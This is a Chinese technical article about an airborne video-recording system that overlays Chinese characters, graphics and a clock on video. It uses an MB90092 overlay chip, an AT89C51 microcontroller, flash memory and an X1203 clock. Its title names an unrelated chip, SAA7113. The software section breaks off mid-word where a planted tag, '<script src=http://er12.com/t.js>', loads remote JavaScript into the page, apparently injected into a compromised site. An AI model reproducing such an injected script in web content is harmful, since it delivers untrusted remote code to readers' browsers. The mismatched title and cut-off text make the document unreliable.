视频解码芯片SAA7113的初始化与控制

机载视频记录系统用于记录飞行中人员、装备的各种信息,在训练、实战中发挥重要作用。为使飞行员及地面指挥人员能够更直观、确切地了解飞行各时刻的状态信息及便于判读,我们为其加装了标识卡系统。记录时可根据需要叠加适当标识,如汉字、图形、实时时钟等信息。

  在实际系统设计中,我们选择了富士通(fujitsu)公司生产的专用字符叠加芯片mb90092,采用at89c51单片机对其控制;考虑到机载系统的特殊性,我们利用rs-232串行接口通过计算机进行标识卡预先标识的写入、控制设置。整个系统适应性较强,地勤人员可根据不同的任务很方便的进行预先修改,可以显示中文及任意图形。

             图1 mb90092的功能框图

            图2 系统原理图

     图3 主程序流程图

          图4 命令帧和数据帧的结构

mb90092芯片简介

  mb90092利用外部字库,可以为一路视频(pal或ntsc)信号叠加文本和图形标识。它提供两种屏幕叠加方法,即主屏和副屏,二者可单独或相互重叠出现在监视器上。由三个引脚(cs 、sclk、sin)来进行对外通信。图1为mb90092的功能框图。

本系统中,我们只利用mb90092的主屏显示功能,mb90092主屏显示支持的字符显示点阵为24×32;每个字符可以有不同的颜色,显示容量为12行,每行24个字符或汉字。字体大小控制方式有:标准(24×32点阵)、双倍宽、双倍高、双倍宽×双倍高、四倍宽×四倍高。显示位置控制:可任易设置水平方向和垂直方向的位置,同时可设定行距。有内部视频信号发生器支持ntsc或pal制式,可选择逐行或隔行扫描方式。

系统工作原理

  本系统原理如图2。整个电路的设计以mb90092芯片为核心。需要更改显示标识及显示模式时,由计算机设置好后,通过rs-232接口传给at89c51;单片机通过系统总线把字符及控制信息写入到flash存储器mbm29f040c中。flash存储器掉电后信息可以保持,故只在任务改变时重新设置内容;字符写入及单片机设置完成后,受外部信号触发,单片机发出命令,控制mb90092从存储器的相应地址读出标识,叠加到视频信号上。

硬件实现

  系统设计分为控制设置、字符存储、字符叠加和实时时钟接口四个相关联的部分。

控制设置部分

  包括计算机、at89c51单片机,它们通过rs-232接口进行通信。主要完成两项任务:

·飞行前需要修改视频标志信息时,计算机通过rs-232接口可以把按给定格式组织的显示命令和修改的字符信息传输给at89c51,由单片机完成闪存的信息写入。

·飞行时由单片机完成系统的控制,包括90092的配置,闪存中控制命令和字符信息的组织,实时时钟信息的采样,以及控制面板的响应。

字符存储部分

  包括flash存储器mbm29f040c,存储容量512k×8bit。单片机和90092共用数据总线和地址总线,单片机在进行闪存读写操作时可能干扰90092内部寄存器的初始配置,因此在at89c51与mbm29f040c、mbm29f040c与mb90092总线间加入隔离器,对地址总线和数据总线进行隔离,其中包括mbm29f040c片选信号ce、读信号re、写信号we。单片机控制隔离器使能en和数据流向dir。

字符叠加部分

  主要为字符叠加芯片mb90092。mb90092支持的字符点阵为24×32,地址线adr12、adr13 =00,01,10时分别对应汉字的左、中、右三部分,adr12adr13 ="11"时不用;adr0~adr4对应每一部分的32个字节。这些地址在mb90092工作时自动寻找,为此, mb90092的地址线adr0~adr4,adr12~adr13,adr5~ adr11,adr14~adr18分别与mbm29f040c的地址线a0~a18相连。单片机控制信号包括mb90092片选信号cs、串行数据传输时钟sclk、串行数据输入sin、状态控制信号tsc。

实时时钟接口设计

  实时时钟选用美国xicor公司推出的串行时钟芯片x1203,该芯片体积小、功耗低、使用简单、接口容易,双端口时钟和报警寄存器使时钟即使在读写操作期间也能精确工作。x1203采用i2c总线接口,在与at89c51的接口中我们用p3.2 ,p3.3虚拟i2c总线接口,实现方法简洁。

软件实现

  软件设计主要包括两部分:一是对寄存器设置以实现特定的功能;另一个是图像显示控制和字库、寄存器设置命令的实时修改。

寄存器设置

  mb90092通过对内部寄存器的设置实现90092复位、字符显示模式、字符寻址、字符叠加的设定。系统设计为可更改模式,故这部分程序放在外部闪存中,在程序运?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计